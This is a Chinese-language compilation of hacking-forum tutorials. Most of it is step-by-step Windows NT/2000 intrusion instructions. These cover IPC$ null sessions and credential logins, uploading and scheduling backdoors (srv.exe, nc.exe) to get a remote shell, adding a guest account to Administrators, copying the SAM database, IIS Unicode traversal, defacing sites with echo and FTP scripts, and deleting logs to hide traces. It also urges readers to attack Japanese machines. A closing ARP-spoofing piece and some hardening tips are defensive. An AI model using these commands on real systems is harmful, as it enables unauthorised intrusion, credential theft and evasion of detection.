一份详尽的IPC$入侵资料

  一 唠叨一下:网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄. 不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少). 因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复! 二 什么是ipc$ IPC$(Internet Process Connection)是共享”命名管道”的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表

三 建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.

四 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)

五 ipc$连接失败的原
以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.

六 如何打开目标的IPC$(此段引自相关文章)
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。

七 如何防范ipc$入侵
1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

5设置复杂密码,防止通过ipc$穷举密码

(本教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区原创[url]http://ccbirds.yeah.nethttp://ccbirds.yeah.net[/url])

八 相关命令
1)建立空连接:
net use IPipc$ “” /user:”” (一定要注意:这一行命令中包含了3个空格)

2)建立非空连接:
net use IPipc$ “用户名” /user:”密码” (同样有3个空格)

3)映射默认共享:
net use z: IPc$ “密码” /user:”用户名” (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: IPc$

4)删除一个ipc$连接
net use IPipc$ /del

5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认

九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

1. C:>net use W.0.0.1IPC$ “” /user:”admintitrators”
这是用《流光》扫到的用户名是administrators,密码为”空”的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为”空”,所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  
2. C:>copy srv.exe W.0.0.1admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:winntsystem32,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
3. C:>net time W.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
  
4. C:>at W.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
  
5. C:>net time W.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
  
6. C:>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
7.C:>copy ntlm.exe W.0.0.1admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
8. C:WINNTsystem32>ntlm
输入ntlm启动(这里的C:WINNTsystem32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现”DONE”的时候,就说明已经启动正常。然后使用”net start telnet”来开启Telnet服务!

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组
10. C:>net user guest /active:yes
将对方的Guest用户激活

11. C:>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码

12. C:>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

十 总结:
关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论.
最后,希望大家不要随便入侵,我写这篇文章的目的是想解答大家的疑惑,并不是鼓励大家随便的入侵,如果你非想试一下,建议拿小日本的机子开练(什么?为什么?因为我讨厌日本,没别的)

[转]一般入侵所需要的几个常用命令

一般入侵所需要的几个常用命令

如果写得不好别笑啊。我觉得写这些更有用,不会像其他人一样写一些很无聊不现实的文章。当然这只是我的想法,我也有缺点的。

1:NET

只要你拥有某IP的用户名和密码,那就用IPC$做连接吧!

这里我们假如你得到的用户是hbx,密码是123456。假设对方IP为127.0.0.1

net use \127.0.0.1ipc$ “123456” /user:”hbx”

退出的命令是

net use \127.0.0.1ipc$ /delte

下面的操作你必须登陆后才可以用.登陆的方法就在上面.

———————-

下面我们讲怎么创建一个用户,由于SA的权限相当于系统的超级用户.

我们加一个heibai的用户密码为lovechina

net user heibai lovechina /add

只要显示命令成功,那么我们可以把他加入Administrator组了.

net localgroup Administrators heibai /add

———————-

这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.

net use z:\127.0.0.1c$

———————-

net start telnet

这样可以打开对方的TELNET服务.

———————-

这里是将Guest用户激活,guest是NT的默认用户,而且无法删除呢?不知道是否这样,我的2000就是删除不了它。

net user guest /active:yes

———————-

这里是把一个用户的密码改掉,我们把guest的密码改为lovechina,其他用户也可以的。只要有权限就行了呀!

net user guest lovechina

net命令果然强大啊!

2:at

一般一个入侵者入侵后都会留下后门,也就是种木马了,你把木马传了上去,怎么启动他呢?

那么需要用AT命令,这里假设你已经登陆了那个服务器。

你首先要得到对方的时间,

net time \127.0.0.1

将会返回一个时间,这里假设时间为12:1,现在需要新建一个作业,其ID=1

at \127.0.0.1 12:3 nc.exe

这里假设了一个木马,名为NC.EXE,这个东西要在对方服务器上.

这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.

等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.

3:telnet

这个命令非常实用,它可以与远方做连接,不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.

telnet 127.0.0.1 99

这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.

4:FTP

它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个WWW.51.NET,不错的.当我们申请完后,它会给用户名,密码,以及FTP服务器.

在上传前需要登陆先,这里我们假设FTP服务器是WWW.51.NET,用户名是HUCJS,密码是654321

ftp www.51.net

他会要求输入用户,成功后会要求输入密码.

———————-

下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:下,传到对方D:

get c:index.htm d:

假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下

put c:index.htm d:

5:copy

下面我说说怎样把本地的文件复制到对方硬盘上去,需要建立好IPC$连接才有效。

这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下

copy index.htm \127.0.0.1c$index.htm

———————-

如果你要复制到D盘下把C改为D,就行了!

copy index.htm \127.0.0.1d$index.htm

———————-

如果你要把他复制到WINNT目录里

就要把输入

copy index.htm \127.0.0.1admin$index.htm

admin$是winnt

———————-

要把对方的文件复制过来,顺便告诉大家NT的备份的数据库放在x:winnt
epairsam._ sam._是数据库的文件名

下面就把127.0.0.1的数据库复制到本地C盘下

copy \127.0.0.1admin$
epairsam._ c:

———————-

6:set

如果你跑进了一部机子,而且想黑他(这思想只能在特别时候才准有),当然他的80端口要开,不然你黑给谁看。这时需要用SET命令!

下面是我得到的结果!我来分析它,只是找主页在那而已。

COMPUTERNAME=PENTIUMII
ComSpec=D:WINNTsystem32cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP,这里本来是显示我的IP,被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:WINNTsystem32os2dll;
OS=Windows_NT
Path=D:WINNTsystem32;D:WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:vlroot主页放在的地址,只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:WINNT
TZ=GMT-9
USERPROFILE=D:WINNTProfilesDefault User
windir=D:WINNT

粉红色的那行就是对方主页存放地址,这里告诉大家一个技巧,很笨的技巧啊,不过只能用这个方法才能100%的找到主页的名称,当你DIR这个目录时,一定会看到很多文件,你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名,这样只要看到和XX.XX.XX.XX看到的也面一模一样,那么这就是主页的名称了。

7:nbtstat

如果你扫到一部NT的机子,他的136到139其中一个端口开了的话,就要用这个命令得到用户了。顺便告诉大家这是netbios,得到用户名后就可以猜猜密码了。例如比较简单的密码,密码和用户名一样的,都试下,不行就暴力破解吧!

现在网上很多NT的机子都开了这些端口的,你可以练习下,我们来分析得到的结果。

命令是

nbtstat -A XX.XX.XX.XX

-A一定要大写哦。

下面是得到的结果。

NetBIOS Remote Machine Name Table

Name Type Status
———————————————
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
orAHOTOWN <00> GROUP
orAHOTOWN <1c> GROUP
orAHOTOWN <1b> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1c> GROUP
IS~PENTIUMII…<00> UNIQUE
orAHOTOWN <1e> GROUP
orAHOTOWN <1d> UNIQUE
..__MSBROWSE__.<01> GROUP

粉红色的就是登陆过这部系统的用户,可能你不知道怎么看,大家是不是看到了一窜数字,只要这窜数字是<03>的话,那他前面的就是用户。

这里的用户是PENTIUMII。

8:Shutdown

关了对方的NT服务器的命令

Shutdown \IP地址 t:20

20秒后将NT自动关闭,三思后才能运行这个命令,这样对对方造很大的损失,要做个有良心的入侵者呀。

9:DIR

这个命令没什么好讲,但是却非常重要,他是查看一目录里的所有文件、文件夹。

你可以本地试下。

10:echo

著名的漏洞Unicode,这个命令可以简单的黑一下有这个漏洞的主机。

我们假设我们要把“南京大屠杀铁证如山,任何日本人不得抵赖!”写入index.htm,有2种方法,大家看看有什么区别。

echo 南京大屠杀铁证如山,任何日本人不得抵赖!>index.htm

echo 南京大屠杀铁证如山,任何日本人不得抵赖!>>index.htm

第一个的意思是覆盖index.htm原有的内容,把“南京大屠杀铁证如山,任何日本人不得抵赖!”写进index.htm。

第二个的意思是把“南京大屠杀铁证如山,任何日本人不得抵赖!”加到index.htm里面。

“>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。

大家可以本地试下。

可能你会问,这样简单黑下有什么好玩的,其实他可以用来下载主页到对方的目录里。

1、首先,我们需要申请一个免费的主页空间。

2、用echo在可写目录下建立如下内容的txt文件:(以chinren服务器为例。)
open upload.chinaren.com(你的FTP服务器,申请时你的空间提供商会给你的)
cnhack(你申请时的用户名)
test(你申请时的密码)
get index.htm c:inetpubwwwrootindex.htm(这里是把你空间上的index.htm下载到对方的c:inetpubwwwrootindex.htm)
bye(退出FTP对话,相当在98下的DOS,用EXIT退出DOS)

具体的做法:
输入 echo open upload.chinaren.com> c:cnhack.txt
输入 echo cnhack >> c:cnhack.txt
输入 echo 39abs >> c:cnhack.txt
输入 echo get index.htm c:inetpubwwwrootindex.htm+>>+c:cnhack.txt
最后输入 ftp -s:c:cnhack.txt (利用ftp的-s参数,执行文件里的内容。)

等命令完成时,文件已经下载到你指定的文件里了。

注意:取得文件后,请删除cnhack.txt。(如果不删除,很容易会给别人看到你的密码。)

记得要 del c:cnhack.txt

11:attrib

这个命令是设置文件属性的。如果你想黑一个站,而他的主页的文件属性设置了只读,那就很可怜呀,想删除他也不行,想覆盖他也不行。倒!不过有这个命令就别怕了。

attrib -r index.htm

这个命令是把index.htm的只读属性去掉。

如果把“-”改为“+”则是把这个文件的属性设置为只读

———————-

attrib +r index.htm

这个命令是把index.htm的属性设置为只读。

12:del

当你看到这个标题可别倒下啊!现在要离开127.0.0.1了,要删除日志,当然要删除日志啦!想被捉吗。呵呵。

NT的日志有这些

del C:winntsystem32logfiles*.*
del C:winntssytem32config*.evt
del C:winntsystem32dtclog*.*
del C:winntsystem32*.log
del C:winntsystem32*.txt
del C:winnt*.txt
del C:winnt*.log

只要删除这些就可以了。有些系统NT安装在D盘或其他盘,就要把C改成其他盘。

[转]关于arp欺骗原理及防范

  最近不少朋友及客户的服务器遇到arp欺骗攻击,造成站点被挂木马.由于是采用ARP技术欺骗,所以主机并没入侵,在服务器里查看网页源码也是没任何挂马代码,但是网站在访问时候却全部被挂马!

开始我也不懂这就是网络传说中的ARP欺骗,后来查了下资料才知道这就是ARP欺骗.ARP欺骗我们要先从ARP工作原理讲起.

我们先熟悉下ARP,大学计算机网络基础课学过,ARP就是地址解析协议.OSI参考模型里将整个网络通信的功能划分为七个层次.由低到高分别是:物理层、链路层、网络层、传输层、会议层、表示层、应用层.第四层到第七层主要负责互操作性,第一层到三层则用于创造两个网络设备间的物理连接.

而ARP欺骗就是一种用于会话劫持攻击中的常见手法.地址解析协议(ARP)利用第2层物理MAC地址来映射第3层逻辑IP地址,如果设备知道了IP地址,但不知道被请求主机的MAC地址,它就会发送ARP请求.ARP请求通常以广播形式发送,以便所有主机都能收到.

在电信一般接终端的交换机都是2层交换机,交换原理是通过ip寻找对应的mac网卡地址,由于TCP/IP协议决定了只会通过mac寻址到对应的交换机的物理端口,所以才会遭到arp欺骗攻击.

  现在我们做下比方,更能形象点解释ARP欺骗过程及原理:

假设有肉鸡A,被ARP欺骗的主机B。肉鸡A不断告诉主机B它是网关,结果主机B也认为它是网关,于是把连接数据发送给它.肉鸡A再做一个连接的角色,把主机B的信息包加上木马发到真正的网关,结果用户得到的信息都是带了木马的网页,而主机B本身没木马.

  目前IDC机房可以将类似思科2950及华为3026之类以上的交换机并启动ARP广播屏蔽功能的话,应该可以阻止ARP欺骗.

  另外,我们根据解析协议(ARP)的工作原理,将网关IP和MAC地址绑定成静态不可修改,这样就不会出现arp欺骗了,因为地址解析协议(ARP)是利用第2层物理MAC地址来映射第3层逻辑IP地址,也就是mac寻址来实现的.当然在我们每一个主机上也要绑定网关的mac和ip,命令很简单,例如: arp -s 58.66.176.29 00-aa-00-62-c6-09

现在总结下关预防ARP欺骗:

新建一个批处理文件,内容如下: @echo OFF arp -s 默认网关IP地址 网关的MAC地址 将这个批处理放到启动里。可以零时解决问题。

另外也有软件可以解决:

1、开启Anti ARP Sniffer 3,输入网关IP地址,点击〔枚取MAC〕
如你网关填写正确将会显示出网关的MAC地址.

2、点击 [自动保护] 即可保护当前网卡与网关的通信不会被第三方监听.

追踪ARP攻击者:

  当局域网内有人试图与本机进行ARP欺骗,其数据会被Anti ARP Sniffer记录.请在欺骗数据详细记录表中选择需要追踪的行,然后点击〔追捕欺骗机〕,追捕过程中需要几分钟时间,如果该ARP地址是真实的,也快就能追捕到攻击者. (追捕ARP攻击者时需要停止自动保护)

  关于arp欺骗原理及防范就先写到这吧,我本人是从事网络服务器安全的,对计算机网络物理工作原理了解并不多,最是大学课本学过点,所以写这篇文章时查了不少资料,期待高手们的指正及讲解!